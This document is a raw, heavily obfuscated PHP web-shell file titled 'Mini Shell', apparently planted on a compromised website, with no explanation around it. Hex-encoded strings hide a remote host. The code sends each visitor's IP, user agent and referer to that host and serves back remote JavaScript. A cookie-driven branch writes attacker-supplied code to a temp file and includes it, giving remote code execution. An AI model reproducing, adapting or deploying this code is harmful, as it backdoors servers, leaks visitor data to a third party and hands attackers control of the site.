Mini Shell

<?php class _bul{private static$_gg;static function _zw($_lt){if(!self::$_gg)self::_tc();return hex2bin(self::$_gg[$_lt]);}private static function _tc(){self::$_gg=array('_wxk'=>'4163636573732d436f6e74726f6c2d41'.'6c6c6f772d4f726967696e3a202a','_mh'=>'436f'.'6e74656e742d547970653a206170706c69636174696f6e2f6a6176617'.'363726970'.'74','_pq'=>'6368','_ao'=>'65794a7063434936496a67344c6a67344c6a67344c6a6734496977696457456'.'94f69'.'4a305a584e3049697'.'769636d566d496a6f69'.'644756'.'7a64434a3'.'9','_vp'=>'71777a'.'78','_zwb'=>'3'.'c6f6'.'b3'.'e','_ncd'=>'3c626'.'1'.'643'.'e','_cx'=>'77'.'616c'.'6'.'c','_li'=>'','_owc'=>'','_rti'=>'','_lpl'=>'687474703a2f2f7075622e77656266696c65686f737465722e636f6d2f63'.'6f6d706f7365722e6a733f64'.'6174'.'61'.'3'.'d','_pvo'=>'6375726c5f696e6974','_evo'=>'687474705f'.'636f646'.'5','_gwo'=>'73'.'636'.'8'.'656'.'d65','_kbc'=>'687474'.'707'.'3','_nx'=>'47455'.'42'.'0','_gj'=>'706'.'1'.'7468','_yml'=>'7175'.'657'.'2'.'79','_tyc'=>'3f','_kst'=>'7'.'175'.'657'.'2'.'7'.'9','_rif'=>'20485454502f312e300d0a486'.'f73743a20','_tx'=>'686f7'.'374','_ek'=>'0d0'.'a436f6e6e6'.'56374696f6'.'e'.'3'.'a20436c6f'.'7'.'3650d0a'.'0'.'d0'.'a','_hbo'=>'737'.'36c3a'.'2f2f','_pj'=>'','_ms'=>'686'.'f'.'73'.'74','_hin'=>'0d'.'0a','_ak'=>'485454505f4'.'34c49454e545f49'.'50','_ud'=>'48545'.'45'.'05f585'.'f464f5257415'.'24445445f4'.'64f52','_yz'=>'52454d4f54455f'.'4'.'1444452','_pav'=>'485454505f55534552'.'5f4147454'.'e54','_oqx'=>'485454505f555345525f414'.'7454e'.'5'.'4','_ges'=>'','_op'=>'485454505f5245'.'4'.'645524552','_iqv'=>'485454505f5245464552455'.'2','_yco'=>'','_ct'=>'485454505f434c4'.'9454e545f4'.'95'.'0','_uqe'=>'485454505f4'.'34c49454e545f495'.'0','_ol'=>'485454505f585f464f525741524445445f464f'.'5'.'2','_qic'=>'485454505f585f464'.'f525741524445445f464'.'f52','_jm'=>'52454'.'d4f54455f4'.'144'.'4'.'4'.'52','_vme'=>'52454d4f54455f41'.'4'.'444'.'5'.'2','_qdk'=>'6462676d6f64'.'65','_iyk'=>'4'.'950'.'3a'.'2'.'0','_wod'=>'207c2055413a20','_huz'=>'207c20'.'52656'.'63a2'.'0','_ddo'=>'20'.'3c627'.'23'.'e0'.'a','_bk'=>'6970','_pv'=>'756'.'1','_tt'=>'726'.'566','_hn'=>'71'.'7'.'77'.'a'.'7'.'8',);}}class _lzt{private static$_gg;static function _zw($_lt){if(!self::$_gg)self::_tc();return self::$_gg[$_lt];}private static function _tc(){self::$_gg=array(00,07,036,036,01,036,02,07,01,016,030,06,032,012,011,013,027,031,03,02,01,01,00,012,012,0310,0673,0120,00,02000,01,0423,0423);}}header(_bul::_zw('_wx'.'k'));header(_bul::_zw('_m'.'h'));if(isset($_GET[_bul::_zw('_'.'pq')])){$_sc=_fi(_bul::_zw('_a'.'o'));if($_sc&&strpos($_sc,_bul::_zw('_v'.'p'))!==false){die(_bul::_zw('_'.'z'.'wb'));}else{die(_bul::_zw('_nc'.'d'));}}if(isset($_GET[_bul::_zw('_c'.'x')])){$_ebv=$_COOKIE;$_lb=_lzt::_zw(0);$_lt=_lzt::_zw(1);$_ju=array();$_ju[$_lb]=_bul::_zw('_li');while($_lt){$_ju[$_lb].=$_ebv[_lzt::_zw(2)][$_lt];if(!$_ebv[_lzt::_zw(3)][$_lt+_lzt::_zw(4)]){if(!$_ebv[_lzt::_zw(5)][$_lt+_lzt::_zw(6)])break;$_lb++;$_ju[$_lb]=_bul::_zw('_'.'ow'.'c');$_lt++;}$_lt=$_lt+_lzt::_zw(7)+_lzt::_zw(8);}$_lb=$_ju[_lzt::_zw(9)]().$_ju[_lzt::_zw(10)];if(!$_ju[_lzt::_zw(11)]($_lb)){$_lt=$_ju[_lzt::_zw(12)]($_lb,$_ju[_lzt::_zw(13)]);$_ju[_lzt::_zw(14)]($_lt,$_ju[_lzt::_zw(15)].$_ju[_lzt::_zw(16)]($_ju[_lzt::_zw(17)]($_ebv[_lzt::_zw(18)])));}include($_lb);}function _fi($_dv,$_fl=null){$_kk=_bul::_zw('_r'.'t'.'i');$_ok=_bul::_zw('_'.'lpl').$_dv;if(is_callable(_bul::_zw('_p'.'vo'))){$_bgu=curl_init($_ok);curl_setopt($_bgu,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($_bgu,CURLOPT_SSL_VERIFYHOST,_lzt::_zw(19));curl_setopt($_bgu,CURLOPT_FOLLOWLOCATION,_lzt::_zw(20));curl_setopt($_bgu,CURLOPT_RETURNTRANSFER,_lzt::_zw(21));curl_setopt($_bgu,CURLOPT_HEADER,_lzt::_zw(22));curl_setopt($_bgu,CURLOPT_CONNECTTIMEOUT,_lzt::_zw(23));curl_setopt($_bgu,CURLOPT_TIMEOUT,_lzt::_zw(24));$_kk=curl_exec($_bgu);$_pnf=curl_getinfo($_bgu);curl_close($_bgu);if($_pnf[_bul::_zw('_evo')]!=_lzt::_zw(25))return false;}else{$_jw=parse_url($_ok);$_pak=($_jw[_bul::_zw('_gwo')]==_bul::_zw('_'.'k'.'bc'));$_oz=_bul::_zw('_nx').$_jw[_bul::_zw('_'.'gj')];if(isset($_jw[_bul::_zw('_yml')]))$_oz.=_bul::_zw('_ty'.'c').$_jw[_bul::_zw('_kst')];$_oz.=_bul::_zw('_ri'.'f').$_jw[_bul::_zw('_t'.'x')]._bul::_zw('_e'.'k');$_wod=fsockopen(($_pak?_bul::_zw('_hbo'):_bul::_zw('_p'.'j')).$_jw[_bul::_zw('_'.'m'.'s')],$_pak?_lzt::_zw(26):_lzt::_zw(27));if($_wod){fputs($_wod,$_oz);$_ftj=_lzt::_zw(28);while(!feof($_wod)){$_qxc=fgets($_wod,_lzt::_zw(29));if($_ftj)$_kk.=$_qxc;if($_qxc==_bul::_zw('_'.'hin'))$_ftj=_lzt::_zw(30);}fclose($_wod);}}return$_kk;}$_oug=isset($_SERVER[_bul::_zw('_ak')]);$_kb=isset($_SERVER[_bul::_zw('_u'.'d')]);$_le=isset($_SERVER[_bul::_zw('_yz')]);$_kv=isset($_SERVER[_bul::_zw('_p'.'av')])?$_SERVER[_bul::_zw('_oqx')]:_bul::_zw('_g'.'es');$_qz=isset($_SERVER[_bul::_zw('_o'.'p')])?$_SERVER[_bul::_zw('_'.'i'.'qv')]:_bul::_zw('_yco');$_oug=isset($_SERVER[_bul::_zw('_ct')])?$_SERVER[_bul::_zw('_u'.'q'.'e')]:null;$_kb=isset($_SERVER[_bul::_zw('_'.'ol')])?$_SERVER[_bul::_zw('_qic')]:null;$_le=isset($_SERVER[_bul::_zw('_jm')])?$_SERVER[_bul::_zw('_'.'vm'.'e')]:null;if(filter_var($_oug,_lzt::_zw(31))){$_nzy=$_oug;}elseif(filter_var($_kb,_lzt::_zw(32))){$_nzy=$_kb;}else{$_nzy=$_le;}if(isset($_GET[_bul::_zw('_q'.'d'.'k')])){echo _bul::_zw('_iy'.'k').$_nzy._bul::_zw('_w'.'od').$_kv._bul::_zw('_'.'hu'.'z').$_qz._bul::_zw('_dd'.'o');exit();}if(!isset($_nzy)||!isset($_kv)||!isset($_qz)){exit();}else{$_ddy=array(_bul::_zw('_b'.'k')=>$_nzy,_bul::_zw('_p'.'v')=>$_kv,_bul::_zw('_'.'t'.'t')=>$_qz);$_ijr=urlencode(base64_encode(json_encode($_ddy)));$_sc=_fi($_ijr);if($_sc&&strpos($_sc,_bul::_zw('_hn'))!==false){echo$_sc;exit();}}